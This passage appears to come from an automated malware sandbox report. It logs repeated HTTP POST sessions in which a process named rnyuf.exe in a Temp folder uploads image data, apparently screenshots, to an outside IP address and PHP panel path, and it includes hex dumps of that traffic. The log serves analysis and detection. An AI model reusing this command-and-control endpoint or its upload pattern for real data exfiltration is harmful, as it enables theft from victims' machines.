Aug 29, 2021 22:27:36.675106049 CEST	7599	OUT	Data Raw: a8 91 68 ed 46 68 34 c0 29 69 33 46 68 01 68 a4 a5 ed 40 06 69 69 b4 66 80 b0 ea 5c d2 51 9a 68 43 81 a7 67 9a 60 34 ea a2 45 a3 34 99 a3 23 d2 80 1c 0d 2d 33 75 26 73 4e e2 b1 26 7d e9 77 01 51 d1 9a 2e 16 25 dd 4a 09 35 10 34 e0 69 a6 2b 0f cd Data Ascii: hFh4)i3Fhh@iif\QhCg`4E4#-3u&sN&}wQ.%J54i+(4F8d4I4Z$p4f4i4?4MJ3E?4MqX~hG\p&hj,Z0r-HZ&KGIbG-L&Z1\KeQ^ZHZRBr)Dqj3L
Aug 29, 2021 22:27:36.778872013 CEST	7619	IN	HTTP/1.1 200 OK Server: nginx/1.14.1 Date: Sun, 29 Aug 2021 20:27:36 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/5.6.40 Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
59	192.168.2.4	49797	46.17.96.36	80	C:\Users\user\AppData\Local\Temp\4c423bc94e\rnyuf.exe

Timestamp	kBytes transferred	Direction	Data
Aug 29, 2021 22:27:37.025418997 CEST	7619	OUT	POST /k8FppT/index.php?scr=1 HTTP/1.1 Content-Type: multipart/form-data; boundary=----72ab105a669f7cc2ffe84eb8771944d9 Host: 46.17.96.36 Content-Length: 107971 Cache-Control: no-cache
Aug 29, 2021 22:27:37.025510073 CEST	7620	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 37 32 61 62 31 30 35 61 36 36 39 66 37 63 63 32 66 66 65 38 34 65 62 38 37 37 31 39 34 34 64 39 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 61 74 61 Data Ascii: ------72ab105a669f7cc2ffe84eb8771944d9Content-Disposition: form-data; name="data"; filename="152138533219.jpg"Content-Type: application/octet-stream
Aug 29, 2021 22:27:37.025722027 CEST	7630	OUT	Data Raw: ff d8 ff e0 00 10 4a 46 49 46 00 01 01 01 00 60 00 60 00 00 ff db 00 43 00 08 06 06 07 06 05 08 07 07 07 09 09 08 0a 0c 14 0d 0c 0b 0b 0c 19 12 13 0f 14 1d 1a 1f 1e 1d 1a 1c 1c 20 24 2e 27 20 22 2c 23 1c 1c 28 37 29 2c 30 31 34 34 34 1f 27 39 3d Data Ascii: JFIF``C $.' ",#(7),01444'9=82<.342C2!!22222222222222222222222222222222222222222222222222"}!1A
Aug 29, 2021 22:27:37.025837898 CEST	7632	OUT	Data Raw: 28 a0 06 e3 14 94 fa 31 45 82 e3 29 71 ed 4e 2b 48 45 2b 0e e3 68 22 97 14 51 60 b8 dc 50 69 71 45 03 1b 8e 69 71 4b 45 20 b8 da 4c 53 b1 46 28 b0 c6 e2 8c 53 b1 49 4a c1 71 39 a3 9a 31 46 28 18 94 52 d1 cd 20 1a 68 c5 2d 14 0c 6d 14 ea 28 01 a6 Data Ascii: (1E)qN+HE+h"Q`PiqEiqKE LSF(SIJq91F(R h-m(R(RJZ((,QN4X.%-sNBJ\QLJ)h4wSZu_>:0}7{S:r^#(psQ3\zyjf-N~ck
Aug 29, 2021 22:27:37.057537079 CEST	7635	OUT	Data Raw: 14 4e 49 3f af e4 6b c5 3e 37 7f c9 47 97 fe bd 62 fe 55 ef 1a 0f 87 5f 4e b9 9b 52 d4 6e 7e d9 aa dc 0c 49 36 30 a8 bf dd 51 d8 7f 9e 2b c1 fe 36 ff 00 c9 47 9b fe bd a2 fe 55 cd cd 1e 68 c2 2e e9 2d ce 95 19 72 ca 72 56 6d ec 79 cd 2d 1c d1 cd Data Ascii: NI?k>7GbU_NRn~I60Q+6GUh.-rrVmy-j@QE{G`i.tt{>`o;g8k<)rQXTnAA\so&?!l9+J')^?G+?j:S7?tj?f
Aug 29, 2021 22:27:37.057596922 CEST	7638	OUT	Data Raw: 71 e8 69 3e c7 75 f6 98 6d be cb 3f 9f 38 43 14 5e 59 dd 20 7c 6d da 31 93 9c 8c 63 ae 6b 27 46 32 77 6f 52 d5 59 25 64 8f a0 f5 8f 88 1f 0f 13 c2 5a ed 8e 91 a9 e2 e6 f6 c6 68 51 3c 8b 8f 9d cc 6c 14 65 97 03 96 f6 af 9d 2a 79 ad 2e ad e1 86 69 Data Ascii: qi>um?8C^Y \|m1ck'F2woRY%dZhQ<le*y.i)yO$eVM\q$:&"[1I-$"&$1@UFL)QG4Z9)QERRR({sLJQKH(f@w(OxG?+,k4ja'P@9oa
Aug 29, 2021 22:27:37.057646036 CEST	7641	OUT	Data Raw: ba 35 bf 88 de d6 e3 7c 45 70 f3 c4 b7 53 79 90 27 f7 5b 23 71 5f e2 0b 81 d3 0d 24 13 e8 cb e3 9f 08 c7 71 a7 6a 32 5f 79 1a 58 13 47 7c 89 10 3b 23 c6 63 30 93 c7 71 bf 9f 6a f3 61 0c 7e 94 a2 14 03 00 70 69 c6 8c 93 bd fa df f3 ff 00 30 9d 65 Data Ascii: 5\|EpSy'[#q_$qj2_yXG\|;#c0qja~pi0e+hwxv+u0\?U?]Lo.<N\|Wr6D$?m9A8q/A=*VVbMobiGFb)\|lJ(EQ!EPIKI@QQbQ@
Aug 29, 2021 22:27:37.057866096 CEST	7646	OUT	Data Raw: 24 05 14 62 8c 52 18 62 83 4b 48 69 88 4a 28 a2 90 c4 34 52 d2 e2 80 1b 8a 29 d8 a4 a0 04 14 b4 86 96 80 12 96 93 bd 2f 6a 00 28 a2 8a 00 29 45 27 7a 5e d4 00 51 47 6a 05 31 0b 45 14 50 20 a2 96 8a 60 14 b4 52 53 10 51 45 2d 00 14 b4 51 40 0b 45 Data Ascii: $bRbKHiJ(4R)/j()E'z^QGj1EP `RSQE-Q@E(QE--)(P)ZZJQS4Z(dKIKL)hRP)xQuU3N%@ip34$S4iSdUA5.6Sbj}+"zc4Z2c1J.=-.(p
Aug 29, 2021 22:27:37.058026075 CEST	7653	OUT	Data Raw: 00 77 35 ca 2f 89 75 a5 bc 9e e7 ed 70 b9 9e 14 82 48 64 b5 89 e0 31 a6 36 a8 84 a9 8c 05 c7 18 5e 39 c7 53 55 6f 75 4d 4b 53 8e e2 3b db b3 2a 5c 5c 0b 99 41 45 1b a4 0b b4 1e 07 40 a7 01 7a 01 d0 0a e5 f6 75 3f af 4b 7f c1 f5 3a 7d a5 36 ef fd Data Ascii: w5/upHd16^9SUouMKS;\\AE@zu?K:}6wvrxfEt_-t}NCy0ms;cqBVeq?u4Wv&4,11bsWX&obldP7\qqUV;cm\|#?eR7WX{H^_U`_YiOy
Aug 29, 2021 22:27:37.058051109 CEST	7655	OUT	Data Raw: f4 b5 ad fd 75 3d b2 d3 5b b7 d7 e1 f0 fd f4 18 05 af 19 64 8f 39 28 e2 de 6c 8f f3 da bc 5b e3 3f fc 94 39 bf eb da 2f e5 5d 27 80 ee 58 f8 d6 ce 18 8b 25 b4 92 49 27 95 9c 80 44 52 01 f9 06 23 35 cd fc 65 ff 00 92 87 37 fd 7b c5 ff 00 a0 d7 95 Data Ascii: u=[d9(l[?9/]'X%I'DR#5e7{ZP[[gBs{GRKE%;oij}p&kN^.MH/<[B"<c/ci7qZ[S,*{{{KO^gr.ry/(A}+!76
Aug 29, 2021 22:27:37.058144093 CEST	7658	OUT	Data Raw: c9 6e 8e 78 21 1e b4 a1 71 5b de 5d b3 75 41 49 f6 3b 56 f6 a3 d8 8f eb 2b aa 30 f1 4e 03 35 b2 74 d8 8f dd 62 29 87 4a 3d 9c 7e 22 8f 64 d0 7d 62 06 5e da 70 15 7c e9 92 8e 98 35 1b 58 cc bc ed a3 91 87 b5 8b ea 56 c5 2e 2a 53 6e e3 aa 9a 6f 96 Data Ascii: nx!q[]uAI;V+0N5tb)J=~"d}b^p\|5XV.SnoGo(OhNT7O)UCeANO3+<]S<y^G^]*chT)Fc)K\|]j}(BK,K\S&Kp+b1Eq1Y
Aug 29, 2021 22:27:37.193850994 CEST	7729	IN	HTTP/1.1 200 OK Server: nginx/1.14.1 Date: Sun, 29 Aug 2021 20:27:37 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/5.6.40 Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
6	192.168.2.4	49741	46.17.96.36	80	C:\Users\user\AppData\Local\Temp\4c423bc94e\rnyuf.exe

Timestamp	kBytes transferred	Direction	Data
Aug 29, 2021 22:27:10.940207958 CEST	1664	OUT	POST /k8FppT/index.php?scr=1 HTTP/1.1 Content-Type: multipart/form-data; boundary=----6f2b8ec125833bffe61c308b0401688c Host: 46.17.96.36 Content-Length: 107127 Cache-Control: no-cache
Aug 29, 2021 22:27:10.940363884 CEST	1665	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 36 66 32 62 38 65 63 31 32 35 38 33 33 62 66 66 65 36 31 63 33 30 38 62 30 34 30 31 36 38 38 63 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 61 74 61 Data Ascii: ------6f2b8ec125833bffe61c308b0401688cContent-Disposition: form-data; name="data"; filename="152138533219.jpg"Content-Type: application/octet-stream
Aug 29, 2021 22:27:10.940610886 CEST	1675	OUT	Data Raw: ff d8 ff e0 00 10 4a 46 49 46 00 01 01 01 00 60 00 60 00 00 ff db 00 43 00 08 06 06 07 06 05 08 07 07 07 09 09 08 0a 0c 14 0d 0c 0b 0b 0c 19 12 13 0f 14 1d 1a 1f 1e 1d 1a 1c 1c 20 24 2e 27 20 22 2c 23 1c 1c 28 37 29 2c 30 31 34 34 34 1f 27 39 3d Data Ascii: JFIF``C $.' ",#(7),01444'9=82<.342C2!!22222222222222222222222222222222222222222222222222"}!1A
Aug 29, 2021 22:27:10.940781116 CEST	1677	OUT	Data Raw: 28 a0 06 e3 14 94 fa 31 45 82 e3 29 71 ed 4e 2b 48 45 2b 0e e3 68 22 97 14 51 60 b8 dc 50 69 71 45 03 1b 8e 69 71 4b 45 20 b8 da 4c 53 b1 46 28 b0 c6 e2 8c 53 b1 49 4a c1 71 39 a3 9a 31 46 28 18 94 52 d1 cd 20 1a 68 c5 2d 14 0c 6d 14 ea 28 01 a6 Data Ascii: (1E)qN+HE+h"Q`PiqEiqKE LSF(SIJq91F(R h-m(R(RJZ((,QN4X.%-sNBJ\QLJ)h4wSZu_>:0}7{S:r^#(psQ3\zyjf-N~ck
Aug 29, 2021 22:27:10.973484993 CEST	1683	OUT	Data Raw: 14 4e 49 3f af e4 6b c5 3e 37 7f c9 47 97 fe bd 62 fe 55 ef 1a 0f 87 5f 4e b9 9b 52 d4 6e 7e d9 aa dc 0c 49 36 30 a8 bf dd 51 d8 7f 9e 2b c1 fe 36 ff 00 c9 47 9b fe bd a2 fe 55 cd cd 1e 68 c2 2e e9 2d ce 95 19 72 ca 72 56 6d ec 79 cd 2d 1c d1 cd Data Ascii: NI?k>7GbU_NRn~I60Q+6GUh.-rrVmy-j@QE{G`i.tt{>`o;g8k<)rQXTnAA\so&?!l9+J')^?G+?j:S7?tj?f
Aug 29, 2021 22:27:10.973526001 CEST	1686	OUT	Data Raw: ba 35 bf 88 de d6 e3 7c 45 70 f3 c4 b7 53 79 90 27 f7 5b 23 71 5f e2 0b 81 d3 0d 24 13 e8 cb e3 9f 08 c7 71 a7 6a 32 5f 79 1a 58 13 47 7c 89 10 3b 23 c6 63 30 93 c7 71 bf 9f 6a f3 61 0c 7e 94 a2 14 03 00 70 69 c6 8c 93 bd fa df f3 ff 00 30 9d 65 Data Ascii: 5\|EpSy'[#q_$qj2_yXG\|;#c0qja~pi0e+hwxv+u0\?U?]Lo.<N\|Wr6D$?m9A8q/A=*VVbMobiGFb)\|lJ(EQ!EPIKI@QQbQ@
Aug 29, 2021 22:27:10.973877907 CEST	1694	OUT	Data Raw: 24 05 14 62 8c 52 18 62 83 4b 48 69 88 4a 28 a2 90 c4 34 52 d2 e2 80 1b 8a 29 d8 a4 a0 04 14 b4 86 96 80 12 96 93 bd 2f 6a 00 28 a2 8a 00 29 45 27 7a 5e d4 00 51 47 6a 05 31 0b 45 14 50 20 a2 96 8a 60 14 b4 52 53 10 51 45 2d 00 14 b4 51 40 0b 45 Data Ascii: $bRbKHiJ(4R)/j()E'z^QGj1EP `RSQE-Q@E(QE--)(P)ZZJQS4Z(dKIKL)hRP)xQuU3N%@ip34$S4iSdUA5.6Sbj}+"zc4Z2c1J.=-.(p
Aug 29, 2021 22:27:10.974180937 CEST	1703	OUT	Data Raw: b3 13 c9 24 f7 34 66 bb 23 b2 4c e4 95 9b 6d 0e f2 d4 f7 a4 31 0f 5a 4e 69 72 6a b4 27 51 3c 9f 7a 3c 93 4b b8 d2 ef 34 59 0e f2 19 e5 35 21 42 2a 5f 33 da 9d e6 0f 4a 2c 85 76 56 c1 f4 a5 c7 b5 58 dc a7 b5 38 04 3d a8 e4 0e 72 a5 15 68 c6 9d 8d Data Ascii: $4f#Lm1ZNirj'Q<z<K4Y5!B*_3J,vVX8=rh'Mjoy+dCKRy,)l;Qf;SNYQE%(QKLAEPEJ(,!(bbQE)iZ){!i`Z))EIAKE-)j,(SR>Sii:@PE-B
Aug 29, 2021 22:27:11.006450891 CEST	1711	OUT	Data Raw: db 47 8e 09 21 7b 57 b9 cb 36 65 79 23 75 7d bf 2b a6 fc 06 c1 c8 ce 46 18 8a ae ba db 9f 11 69 3a c9 b3 20 e9 c9 68 a2 1f 37 fd 67 90 aa 3e f6 38 dd b7 d0 e3 3d e9 c1 d6 be bd ff 00 0d 45 35 47 5b 7f 5b 17 f5 2d 06 da 0f 0a da 6a 96 73 4d 25 d6 Data Ascii: G!{W6ey#u}+Fi: h7g>8=E5G[[-jsM%$ N+8@nf7muxuydTK<& L6G42E#K3jP{;GwR7`+,PPt*NOJ-KV-?3a:X2IM3
Aug 29, 2021 22:27:11.006526947 CEST	1719	OUT	Data Raw: e1 0a 50 29 45 2d 32 4b 3a 7b 2c 57 d1 bb b0 55 19 c9 3f 43 5d 64 37 b7 97 1a 7b da c1 73 3c b6 48 c1 de 24 90 98 d5 8f 42 40 e0 1e 0f 3e d5 c4 9a ed be 1e fc 41 ff 00 84 13 fb 47 fe 25 7f 6e fb 6f 95 ff 00 2f 1e 56 cd 9b ff 00 d9 6c e7 7f b7 4a Data Ascii: P)E-2K:{,WU?C]d7{s<H$B@>AG%no/VlJ)j:QI/ntMb^.$N\E:x\|nTc#RIUZcN1s^jay'P{l3xD!\|8;RIU
Aug 29, 2021 22:27:11.006588936 CEST	1724	OUT	Data Raw: 15 98 de 31 f0 af f0 db de d4 2d e3 2f 0d 76 86 f6 ba 15 54 fa 33 95 e1 2a 2e c6 e0 60 7b d1 91 5c f1 f1 9f 87 fb 45 79 4d 3e 33 d0 87 48 ee ff 00 4a 7c eb b0 be af 50 e9 33 4b 9a e6 7f e1 36 d1 07 fc b2 bb a5 1e 37 d1 47 fc b2 bb a3 99 0d 50 a9 Data Ascii: 1-/vT3*.`{\EyM>3HJ\|P3K67GP8\'Z0W_/'z?hnJW4TuDxIwC)SO5?64QhE<W>#ic]n1K'Ks}i3W3LsQ;LuVhW
Aug 29, 2021 22:27:11.110115051 CEST	1772	IN	HTTP/1.1 200 OK Server: nginx/1.14.1 Date: Sun, 29 Aug 2021 20:27:11 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/5.6.40 Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
60	192.168.2.4	49798	46.17.96.36	80	C:\Users\user\AppData\Local\Temp\4c423bc94e\rnyuf.exe

Timestamp	kBytes transferred	Direction	Data
Aug 29, 2021 22:27:37.554042101 CEST	7730	OUT	POST /k8FppT/index.php?scr=1 HTTP/1.1 Content-Type: multipart/form-data; boundary=----72ab105a669f7cc2ffe84eb8771944d9 Host: 46.17.96.36 Content-Length: 107971 Cache-Control: no-cache
Aug 29, 2021 22:27:37.554145098 CEST	7730	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 37 32 61 62 31 30 35 61 36 36 39 66 37 63 63 32 66 66 65 38 34 65 62 38 37 37 31 39 34 34 64 39 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 61 74 61 Data Ascii: ------72ab105a669f7cc2ffe84eb8771944d9Content-Disposition: form-data; name="data"; filename="152138533219.jpg"Content-Type: application/octet-stream
Aug 29, 2021 22:27:37.554327011 CEST	7740	OUT	Data Raw: ff d8 ff e0 00 10 4a 46 49 46 00 01 01 01 00 60 00 60 00 00 ff db 00 43 00 08 06 06 07 06 05 08 07 07 07 09 09 08 0a 0c 14 0d 0c 0b 0b 0c 19 12 13 0f 14 1d 1a 1f 1e 1d 1a 1c 1c 20 24 2e 27 20 22 2c 23 1c 1c 28 37 29 2c 30 31 34 34 34 1f 27 39 3d Data Ascii: JFIF``C $.' ",#(7),01444'9=82<.342C2!!22222222222222222222222222222222222222222222222222"}!1A
Aug 29, 2021 22:27:37.554466009 CEST	7743	OUT	Data Raw: 28 a0 06 e3 14 94 fa 31 45 82 e3 29 71 ed 4e 2b 48 45 2b 0e e3 68 22 97 14 51 60 b8 dc 50 69 71 45 03 1b 8e 69 71 4b 45 20 b8 da 4c 53 b1 46 28 b0 c6 e2 8c 53 b1 49 4a c1 71 39 a3 9a 31 46 28 18 94 52 d1 cd 20 1a 68 c5 2d 14 0c 6d 14 ea 28 01 a6 Data Ascii: (1E)qN+HE+h"Q`PiqEiqKE LSF(SIJq91F(R h-m(R(RJZ((,QN4X.%-sNBJ\QLJ)h4wSZu_>:0}7{S:r^#(psQ3\zyjf-N~ck
Aug 29, 2021 22:27:37.589960098 CEST	7751	OUT	Data Raw: 14 4e 49 3f af e4 6b c5 3e 37 7f c9 47 97 fe bd 62 fe 55 ef 1a 0f 87 5f 4e b9 9b 52 d4 6e 7e d9 aa dc 0c 49 36 30 a8 bf dd 51 d8 7f 9e 2b c1 fe 36 ff 00 c9 47 9b fe bd a2 fe 55 cd cd 1e 68 c2 2e e9 2d ce 95 19 72 ca 72 56 6d ec 79 cd 2d 1c d1 cd Data Ascii: NI?k>7GbU_NRn~I60Q+6GUh.-rrVmy-j@QE{G`i.tt{>`o;g8k<)rQXTnAA\so&?!l9+J')^?G+?j:S7?tj?f
Aug 29, 2021 22:27:37.590042114 CEST	7763	OUT	Data Raw: 24 05 14 62 8c 52 18 62 83 4b 48 69 88 4a 28 a2 90 c4 34 52 d2 e2 80 1b 8a 29 d8 a4 a0 04 14 b4 86 96 80 12 96 93 bd 2f 6a 00 28 a2 8a 00 29 45 27 7a 5e d4 00 51 47 6a 05 31 0b 45 14 50 20 a2 96 8a 60 14 b4 52 53 10 51 45 2d 00 14 b4 51 40 0b 45 Data Ascii: $bRbKHiJ(4R)/j()E'z^QGj1EP `RSQE-Q@E(QE--)(P)ZZJQS4Z(dKIKL)hRP)xQuU3N%@ip34$S4iSdUA5.6Sbj}+"zc4Z2c1J.=-.(p
Aug 29, 2021 22:27:37.590059996 CEST	7768	OUT	Data Raw: f4 b5 ad fd 75 3d b2 d3 5b b7 d7 e1 f0 fd f4 18 05 af 19 64 8f 39 28 e2 de 6c 8f f3 da bc 5b e3 3f fc 94 39 bf eb da 2f e5 5d 27 80 ee 58 f8 d6 ce 18 8b 25 b4 92 49 27 95 9c 80 44 52 01 f9 06 23 35 cd fc 65 ff 00 92 87 37 fd 7b c5 ff 00 a0 d7 95 Data Ascii: u=[d9(l[?9/]'X%I'DR#5e7{ZP[[gBs{GRKE%;oij}p&kN^.MH/<[B"<c/ci7qZ[S,*{{{KO^gr.ry/(A}+!76
Aug 29, 2021 22:27:37.627126932 CEST	7771	OUT	Data Raw: db 47 8e 09 21 7b 57 b9 cb 36 65 79 23 75 7d bf 2b a6 fc 06 c1 c8 ce 46 18 8a ae ba db 9f 11 69 3a c9 b3 20 e9 c9 68 a2 1f 37 fd 67 90 aa 3e f6 38 dd b7 d0 e3 3d e9 c1 d6 be bd ff 00 0d 45 35 47 5b 7f 5b 17 f5 2d 06 da 0f 0a da 6a 96 73 4d 25 d6 Data Ascii: G!{W6ey#u}+Fi: h7g>8=E5G[[-jsM%$ N+8@nf7muxuydTK<& L6G42E#K3jP{;GwR7`+,PPt*NOJ-KV-?3a:X2IM3
Aug 29, 2021 22:27:37.627166986 CEST	7781	OUT	Data Raw: 53 15 1b 68 d6 d2 72 8f 8a af ac 47 a9 5c ac e6 68 ad e9 3c 3c df c0 ea 6a ac 9a 25 ca 74 5c 8f 6a b5 5a 0f a8 9a 6b 74 65 d2 d5 97 b0 b8 8f ac 6c 3f 0a 81 a2 71 d5 4d 5a 92 62 19 9a 5a 31 8a 00 aa 10 52 e6 92 81 40 0e 06 9d 9a 65 38 75 a6 48 f0 Data Ascii: ShrG\h<<j%t\jZktel?qMZbZ1R@e8uHjqGTY&1{3IN4,}RZJZJ)h@J(4Q@hQ(Q@Q@SiGZ-QM(R)@8pN"1NWbHJm<MK)#)i8R1E^)hh
Aug 29, 2021 22:27:37.627207994 CEST	7784	OUT	Data Raw: 56 1d 46 29 a0 8f 5a 0b 0f 5a 61 61 c6 9b 46 45 19 a5 74 00 69 28 26 90 9a 40 38 53 c5 30 1a 76 6a 93 13 40 7a d1 de 90 9a 33 9a 00 53 47 6a 05 14 08 51 4b 8a 07 34 13 8a a0 0a 5f 7a 40 68 cd 02 b0 f1 4b 4d 07 9a 75 32 42 90 d2 d0 69 80 83 a5 2e Data Ascii: VF)ZZaaFEti(&@8S0vj@z3SGjQK4_z@hKMu2Bi.(P1NP)uJdZ`(65DfNM>0R(Jh;u4pxBcRzEM"e4`GqC;S39,>L2,:4
Aug 29, 2021 22:27:37.627285957 CEST	7806	OUT	Data Raw: 15 98 de 31 f0 af f0 db de d4 2d e3 2f 0d 76 86 f6 ba 15 54 fa 33 95 e1 2a 2e c6 e0 60 7b d1 91 5c f1 f1 9f 87 fb 45 79 4d 3e 33 d0 87 48 ee ff 00 4a 7c eb b0 be af 50 e9 33 4b 9a e6 7f e1 36 d1 07 fc b2 bb a5 1e 37 d1 47 fc b2 bb a3 99 0d 50 a9 Data Ascii: 1-/vT3*.`{\EyM>3HJ\|P3K67GP8\'Z0W_/'z?hnJW4TuDxIwC)SO5?64QhE<W>#ic]n1K'Ks}i3W3LsQ;LuVhW
Aug 29, 2021 22:27:37.866187096 CEST	7838	IN	HTTP/1.1 200 OK Server: nginx/1.14.1 Date: Sun, 29 Aug 2021 20:27:37 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/5.6.40 Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
61	192.168.2.4	49799	46.17.96.36	80	C:\Users\user\AppData\Local\Temp\4c423bc94e\rnyuf.exe

Timestamp	kBytes transferred	Direction	Data
Aug 29, 2021 22:27:38.154784918 CEST	7838	OUT	POST /k8FppT/index.php?scr=1 HTTP/1.1 Content-Type: multipart/form-data; boundary=----72ab105a669f7cc2ffe84eb8771944d9 Host: 46.17.96.36 Content-Length: 107971 Cache-Control: no-cache
Aug 29, 2021 22:27:38.154885054 CEST	7839	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 37 32 61 62 31 30 35 61 36 36 39 66 37 63 63 32 66 66 65 38 34 65 62 38 37 37 31 39 34 34 64 39 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 61 74 61 Data Ascii: ------72ab105a669f7cc2ffe84eb8771944d9Content-Disposition: form-data; name="data"; filename="152138533219.jpg"Content-Type: application/octet-stream
Aug 29, 2021 22:27:38.155055046 CEST	7849	OUT	Data Raw: ff d8 ff e0 00 10 4a 46 49 46 00 01 01 01 00 60 00 60 00 00 ff db 00 43 00 08 06 06 07 06 05 08 07 07 07 09 09 08 0a 0c 14 0d 0c 0b 0b 0c 19 12 13 0f 14 1d 1a 1f 1e 1d 1a 1c 1c 20 24 2e 27 20 22 2c 23 1c 1c 28 37 29 2c 30 31 34 34 34 1f 27 39 3d Data Ascii: JFIF``C $.' ",#(7),01444'9=82<.342C2!!22222222222222222222222222222222222222222222222222"}!1A
Aug 29, 2021 22:27:38.155191898 CEST	7851	OUT	Data Raw: 28 a0 06 e3 14 94 fa 31 45 82 e3 29 71 ed 4e 2b 48 45 2b 0e e3 68 22 97 14 51 60 b8 dc 50 69 71 45 03 1b 8e 69 71 4b 45 20 b8 da 4c 53 b1 46 28 b0 c6 e2 8c 53 b1 49 4a c1 71 39 a3 9a 31 46 28 18 94 52 d1 cd 20 1a 68 c5 2d 14 0c 6d 14 ea 28 01 a6 Data Ascii: (1E)qN+HE+h"Q`PiqEiqKE LSF(SIJq91F(R h-m(R(RJZ((,QN4X.%-sNBJ\QLJ)h4wSZu_>:0}7{S:r^#(psQ3\zyjf-N~ck
Aug 29, 2021 22:27:38.189555883 CEST	7854	OUT	Data Raw: 14 4e 49 3f af e4 6b c5 3e 37 7f c9 47 97 fe bd 62 fe 55 ef 1a 0f 87 5f 4e b9 9b 52 d4 6e 7e d9 aa dc 0c 49 36 30 a8 bf dd 51 d8 7f 9e 2b c1 fe 36 ff 00 c9 47 9b fe bd a2 fe 55 cd cd 1e 68 c2 2e e9 2d ce 95 19 72 ca 72 56 6d ec 79 cd 2d 1c d1 cd Data Ascii: NI?k>7GbU_NRn~I60Q+6GUh.-rrVmy-j@QE{G`i.tt{>`o;g8k<)rQXTnAA\so&?!l9+J')^?G+?j:S7?tj?f
Aug 29, 2021 22:27:38.189743996 CEST	7860	OUT	Data Raw: 71 e8 69 3e c7 75 f6 98 6d be cb 3f 9f 38 43 14 5e 59 dd 20 7c 6d da 31 93 9c 8c 63 ae 6b 27 46 32 77 6f 52 d5 59 25 64 8f a0 f5 8f 88 1f 0f 13 c2 5a ed 8e 91 a9 e2 e6 f6 c6 68 51 3c 8b 8f 9d cc 6c 14 65 97 03 96 f6 af 9d 2a 79 ad 2e ad e1 86 69 Data Ascii: qi>um?8C^Y \|m1ck'F2woRY%dZhQ<le*y.i)yO$eVM\q$:&"[1I-$"&$1@UFL)QG4Z9)QERRR({sLJQKH(f@w(OxG?+,k4ja'P@9oa
Aug 29, 2021 22:27:38.189759970 CEST	7865	OUT	Data Raw: 24 05 14 62 8c 52 18 62 83 4b 48 69 88 4a 28 a2 90 c4 34 52 d2 e2 80 1b 8a 29 d8 a4 a0 04 14 b4 86 96 80 12 96 93 bd 2f 6a 00 28 a2 8a 00 29 45 27 7a 5e d4 00 51 47 6a 05 31 0b 45 14 50 20 a2 96 8a 60 14 b4 52 53 10 51 45 2d 00 14 b4 51 40 0b 45 Data Ascii: $bRbKHiJ(4R)/j()E'z^QGj1EP `RSQE-Q@E(QE--)(P)ZZJQS4Z(dKIKL)hRP)xQuU3N%@ip34$S4iSdUA5.6Sbj}+"zc4Z2c1J.=-.(p
Aug 29, 2021 22:27:38.189825058 CEST	7872	OUT	Data Raw: 00 77 35 ca 2f 89 75 a5 bc 9e e7 ed 70 b9 9e 14 82 48 64 b5 89 e0 31 a6 36 a8 84 a9 8c 05 c7 18 5e 39 c7 53 55 6f 75 4d 4b 53 8e e2 3b db b3 2a 5c 5c 0b 99 41 45 1b a4 0b b4 1e 07 40 a7 01 7a 01 d0 0a e5 f6 75 3f af 4b 7f c1 f5 3a 7d a5 36 ef fd Data Ascii: w5/upHd16^9SUouMKS;\\AE@zu?K:}6wvrxfEt_-t}NCy0ms;cqBVeq?u4Wv&4,11bsWX&obldP7\qqUV;cm\|#?eR7WX{H^_U`_YiOy
Aug 29, 2021 22:27:38.190035105 CEST	7877	OUT	Data Raw: f4 b5 ad fd 75 3d b2 d3 5b b7 d7 e1 f0 fd f4 18 05 af 19 64 8f 39 28 e2 de 6c 8f f3 da bc 5b e3 3f fc 94 39 bf eb da 2f e5 5d 27 80 ee 58 f8 d6 ce 18 8b 25 b4 92 49 27 95 9c 80 44 52 01 f9 06 23 35 cd fc 65 ff 00 92 87 37 fd 7b c5 ff 00 a0 d7 95 Data Ascii: u=[d9(l[?9/]'X%I'DR#5e7{ZP[[gBs{GRKE%;oij}p&kN^.MH/<[B"<c/ci7qZ[S,*{{{KO^gr.ry/(A}+!76
Aug 29, 2021 22:27:38.224797964 CEST	7880	OUT	Data Raw: db 47 8e 09 21 7b 57 b9 cb 36 65 79 23 75 7d bf 2b a6 fc 06 c1 c8 ce 46 18 8a ae ba db 9f 11 69 3a c9 b3 20 e9 c9 68 a2 1f 37 fd 67 90 aa 3e f6 38 dd b7 d0 e3 3d e9 c1 d6 be bd ff 00 0d 45 35 47 5b 7f 5b 17 f5 2d 06 da 0f 0a da 6a 96 73 4d 25 d6 Data Ascii: G!{W6ey#u}+Fi: h7g>8=E5G[[-jsM%$ N+8@nf7muxuydTK<& L6G42E#K3jP{;GwR7`+,PPt*NOJ-KV-?3a:X2IM3
